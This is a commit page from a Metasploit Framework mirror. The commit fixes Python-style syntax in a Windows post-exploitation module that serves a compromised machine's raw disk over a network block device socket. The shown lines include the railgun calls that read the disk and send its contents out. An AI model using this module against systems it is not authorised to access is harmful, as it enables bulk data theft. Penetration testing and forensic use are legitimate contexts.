infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Ruby is not Python 

git-svn-id: file:///home/svn/framework3/trunk@13652 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2011-08-29 00:26:42 +00:00
parent 6146d0ab0f
commit d2e0060417
1 changed files with 6 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

14
modules/post/windows/gather/forensics/nbd_server.rb
View File

@ -53,9 +53,8 @@ class Metasploit3 < Msf::Post
ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex, ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex,
"",0,200,200,4,"") "",0,200,200,4,"")
if ioctl['GetLastError'] == 6: if ioctl['GetLastError'] == 6
ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex, ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex, "",0,200,200,4,"")
"",0,200,200,4,"")
end end
geometry = ioctl['lpOutBuffer'] geometry = ioctl['lpOutBuffer']
disk_size = geometry[24,31].unpack('Q')[0] disk_size = geometry[24,31].unpack('Q')[0]
@ -83,16 +82,15 @@ class Metasploit3 < Msf::Post
print_line("Wrong magic number") print_line("Wrong magic number")
break break
end end
if request == 2: if request == 2
break break
end end
if request == 1: if request == 1
print_line("Attempted write on a read-only nbd") print_line("Attempted write on a read-only nbd")
break break
end end
if request == 0: if request == 0
client.railgun.kernel32.SetFilePointer(handle,offset_n[4,7].unpack('N')[0], client.railgun.kernel32.SetFilePointer(handle,offset_n[4,7].unpack('N')[0], offset_n[0,4].unpack('N')[0],0)
offset_n[0,4].unpack('N')[0],0)
rsock.put("gDf\x98\x00\x00\x00\x00") rsock.put("gDf\x98\x00\x00\x00\x00")
rsock.put(nbd_handle) rsock.put(nbd_handle)
data = client.railgun.kernel32.ReadFile(handle,length,length,4,nil)['lpBuffer'] data = client.railgun.kernel32.ReadFile(handle,length,length,4,nil)['lpBuffer']